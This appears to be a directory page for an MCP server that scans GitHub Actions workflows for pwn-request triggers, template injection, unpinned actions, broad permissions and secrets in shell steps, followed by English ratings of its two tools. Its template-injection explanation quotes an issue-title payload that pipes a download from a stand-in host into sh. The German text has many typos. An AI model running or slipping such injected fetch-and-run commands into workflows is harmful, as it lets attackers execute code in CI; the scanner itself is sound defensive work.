Ein GitHub-Actions-Workflow-Sicherheitsscanner, bereitgestellt als MCP-Werkzeuge – damit ein Agent die „pwn Request“- und Supply-Chain-Muster erkennen kann, die echte Vorfälle verursacht haben (CoreShop, tj-actions und andere), bevor eine Workflow-Datei committet wird, nicht erst danach.
Statische Analyse für GitHub-Actions-Workflows ist ein ausgereiftes, gut verstandenes Feld – zizmor ist ein angesehener, aktiv gepflegter Standalone-Scanner für genau das. Was es noch nicht gibt, ist ein ernsthafter MCP-Wrapper um diese Klasse von Analyse. Das eine Projekt, das eine breite Suche zutage förderte (github-security-mcp), verteilt 45 Prüfungen über Org-Einstellungen, Secrets, Supply Chain und Actions in einem einzigen generischen Werkzeug – 12 Sterne, keine Commits in 5 Monaten. Nichts konzentriert sich spezifisch und tiefgründig auf Workflow-Sicherheit – als etwas, das ein Agent aufrufen kann, während mit ihren gerade eine Workflow-Datei schreibt oder überprüft.
Related MCP server: TaskBounty Check
Gefährliche Auslöser (AGMCP-101) – pull_request_target oder workflow_run kombiniert mit einem Checkout-Schritt, dessen ref: oder repository: auf den eigenen Fork des auslösenden PR/Laufs verweist. Das ist exakt das Muster des Core-Vorfalls: ein Workflow, der mit dem Token und den Secrets des Basis-Repos läuft, aber Code aus dem Fork auscheckt und ausführt, der ihn ausgelöst hat.
Vorlageninjektion (AGMCP-102) – ${{ ... }}-Ausdrücke, die aus angreiferkontrolliertem Kontext aufgebaut sind (github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, ein toJSON(github.event)-Gesamtpayload-Pumpt und ähnliches) und direkt in einen run:-Schritt interpoliert werden, statt durch env: übergeben zu werden. Die klassische Form ist run: echo "${{ github.event.issue.title }}" – ein Issue-Titel von "; curl evil.sh | sh # ist an dieser Stelle kein String, sondern Shell.
Nicht gepinnte Actions und wiederverwendbare Workflows (AGMCP-103) – uses: owner/repo@v4 (ein Tag oder Branch, beide veränderbar) statt eines gepinnten Commit-SHA; ein Job-Level-Aufruf eines wiederverwendbaren Workflows (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main), auf dieselbe veränderbare Weise gepinnt; oder ein docker://image:tag-Verweis, der nicht auf einen @sha256:-Digest gepinnt ist. Das ist genau die Supply-Chain-Angriffsfläche, die der tj-actions-Vorfall genutzt hat: Ein kompromittiertes Tag hat alle, die es verwendeten, auf schädlichen Code verwiesen – ohne Versionssprung.
Übermäßige Berechtigungen (AGMCP-104) – permissions: write-all oder explizite breite write-Bereiche (contents, actions, packages, ...), gesetzt auf Workflow- oder Job-Ebene, bei einem Workflow, der auch einen riskanten Auslöser hat, wo ein engerer Bereich genügen würde.
Secrets, die in die Shell interpoliert werden (AGMCP-105) – ${{ secrets.X }} direkt in einem run:-Schritt verwendet, statt über env: übergeben zu werden; das ist unnötige Exposition des rohen Secretwerts in die Shell-Kommandozeile beziehungsweise die Prozessliste, anstatt in eine Umgebungsvariable.
Das Matching aller Markierungen (AGMCP-101/102/105) normalisiert den Klammerschreibweise-Zugriff von GitHub Actions (github.event['issue']['title']) into the äquivalente Punktform und vergleicht unter Ignorieren der Groß-/Kleinschreibung, da die Ausdruckssprache beide als identisch behandelt.
Das ist Pattern-Matching über den literaten Text von ${{ }}- Ausausdrücken und with:/permissions:-Blöcken – kein vollständiger GitHub-Actions-Ausdruck-Parser und keine Datenflussanalyse. Ein sauberer Scan bedeutet „kein bekanntes riskiante Muster im vorliegenden Text gefunden“, keine Garantie, dass der Workflow sicher ist. Konkret:
Keine Schritt-übergreifende / env:-Datenflussverfolgung. Ein gefährlicher Wert, der über eine zwischengeschaltete env:-Variable oder einen Step-Output läuft, bevor er einen Checkout-ref:- oder run:-Befehl erreicht, bleibt für AGMCP-101/102/105 unsichtbar – es wird nur der literal Ausdruck in dem geprüften Feld untersucht.
Die Liste angreifergesteuerter Kontext-Markrer (AGMCP-102) ist eine endliche, handell gepflegte Menge, keine vollständige Aufzählung jedes Kontextpfads, den GitHub Actions ausspend. Es kann ein neues oder ungefährliches Feld geben, das noch nicht gelistest ist.
Wenn ein sauberes Ergebnis für eine Sssicherheitsentscheidung zählt, behandeln es nicht als letztes Wort – zizmor führt eine tiefere, allgemainerte statische Analyse derselben Dageienkalte aus und es ist wert, neben diesen ausgeführt zu werden, nicht statdessen.
pip install actions-guard-mcp
actions-guard-mcpKeine Konfiguration nötig – jedes Werzeug nimmt eine Workflow-Datei-Pfad oder ihren rohen YAML-Inhalt direkt entgagen.
Frühe Entwicklungsstufe.
MIT
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
| Name | Required | Description | Default |
|---|---|---|---|
| yaml_content | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
| Name | Required | Description | Default |
|---|---|---|---|
| path | Yes |
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
v0.1.0scan_workflow_contentscan_workflow_fileScored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Lets coding agents check their own code for leaked secrets, risky dependencies and AI-code mistakes
